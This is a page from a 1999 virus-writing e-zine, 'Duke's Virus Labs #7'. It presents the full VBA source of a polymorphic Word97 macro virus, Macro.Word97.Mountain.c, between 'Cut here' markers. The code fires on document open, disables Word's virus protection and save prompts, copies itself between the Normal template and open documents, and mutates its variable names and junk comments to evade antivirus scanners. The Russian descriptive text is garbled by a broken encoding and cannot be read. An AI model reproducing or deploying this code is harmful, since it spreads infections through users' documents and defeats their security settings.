- [Duke's Virus Labs #7] - [Page 17] -

Macro.Word97.Mountain.c
(c) by Duke/SMF

     : Macro.Word97.Mountain.c
         : Duke/SMF
 ண.   : VBA
 ᮧ : 16.05.99
 AV    : AVP    -  Macro.Word97.Hill.c
                F-Prot -  W97M/Hill.C (intended)

   ᫨   - 䭮  Word97.  
蠣    뫮 ᮧ  Mountain.a.    祭
⮩  堭 - ࠧ ⥪  ப
ਥ,  ஢ 砩 ࠧ.   ࠧ
 ⠭    ; ਪ쭮,   誠 ᥡ
뤠.   ᨨ Mountain.b     楤, 㭪権
 ६  砩 騥.  ⮬    來
 . "  " (c) Sprite   稫  祭
ᯮᮡ. ⮬  쥩 ᨨ  䨪ᨫ   
䨫   ⥫  - । ⥬  ࠧ ⥫ 
 樥 ,   㤠  .
      ॠ. 筮 뢠    ࠦ
䠩  뢠    ᥣ ࠦ 䠩, ⭮ ஢
.  뢠   - ਩  ᢠ. ᫨ ப
  稭   ஡,  ᫥ ⮩ ப   
(  ⥫ 楤/㭪樨). ᫨ ப  ᮤন ᨬ "'"
(  ),      㦭 䨫஢  ࠦ.
  ६/楤/㭪樨 稭  "Mountain", ⮬ 
宦 ⮩ ப    ᢥᣥ஢ ப.
 ,  祭 .
    ᨭ樨 F-Prot' ⭮⥫쭮 ࠡᯮᮡ  ᮫⭮
ᯮ碥.  ਬ  ⨫  ୠ  ⮫쪮 ࢮ 
,   ஢襥 ஥.  ஢ ⠢  㯨 稥
ᨬ "'"  । ப ;-)) AVP ᯥࢠ ⮦    㤮,
 ६ ࠢ  ⨢.

===== Cut here =====
Public MountainJ, MountainRN
Public MountainMT, MountainVT
Sub AutoOpen()
   On Error Resume Next
   Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
   Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
   Options.VirusProtection = False
   Options.ConfirmConversions = False
   Options.SaveNormalPrompt = False
   Randomize
   MountainMT = "Mountain"
   MountainVT = MountainGN(20, 26, 65)
   MountainRN = Mid(Str(Int(20 * Rnd + 1)), 2)
   If NT.CountOfLines < 60 Then
      MountainS = MountainCM(AD, NT)
   Else
      If AD.CountOfLines < 60 Then
         MountainS = MountainCM(NT, AD)
      End If
   End If
End Sub
Function MountainCM(MountainOC, MountainKC)
   MountainJ = 1
   For I = 1 To MountainOC.CountOfLines
      If MountainCS(MountainOC.Lines(I, 1)) <> 1 Then
         MountainLN = MountainRP(MountainOC.Lines(I, 1), MountainMT, MountainVT)
         MountainLN = MountainRP(MountainLN, "20", MountainRN)
         MountainKC.InsertLines MountainJ, MountainLN
         MountainJ = MountainJ + 1
         If MountainCS(MountainOC.Lines(I, 1)) = 0 Then
            R = Rnd
            If R < 1 And R > 0.08 Then
               MountainKC.InsertLines MountainJ, " " + MountainGN(20, 26, 65) + " = " + Chr(34) + MountainGN(20, 128, 48) + Chr(34) + " " + Chr(39) + MountainGN(10, 128, 48)
            End If
            If R < 0.08 And R > 0.05 Then
               MountainKC.InsertLines MountainJ, " '" + MountainGN(20, 128, 48)
            End If
            If R < 0.05 And R > 0.03 Then
               MountainKC.InsertLines MountainJ, " '"
            End If
            If R > 0.03 Then MountainJ = MountainJ + 1
         End If
      End If
   Next
End Function
Function MountainCS(MountainST)
   MountainCS = 0
   For I = 1 To Len(MountainST)
      If Mid(MountainST, I, 1) = Chr(39) Then MountainCS = 1
   Next
   If Mid(MountainST, 1, 1) <> " " Then MountainCS = 2
End Function
Function MountainGN(MountainSA, MountainSB, MountainSC)
   MountainGN = ""
   For MountainI = 1 To Int(MountainSA * Rnd + 1)
      MountainGN = MountainGN + Chr(Int(MountainSB * Rnd + MountainSC))
   Next
End Function
Function MountainRP(MountainST, MountainZA, MountainZB)
   MountainLA = Len(MountainZA)
   For ii = 1 To Len(MountainST)
      If Mid(MountainST, ii, MountainLA) = MountainZA Then
         MountainST = Mid(MountainST, 1, ii - 1) + MountainZB + Mid(MountainST, ii + MountainLA)
      End If
   Next
   MountainRP = MountainST
End Function
===== Cut here =====
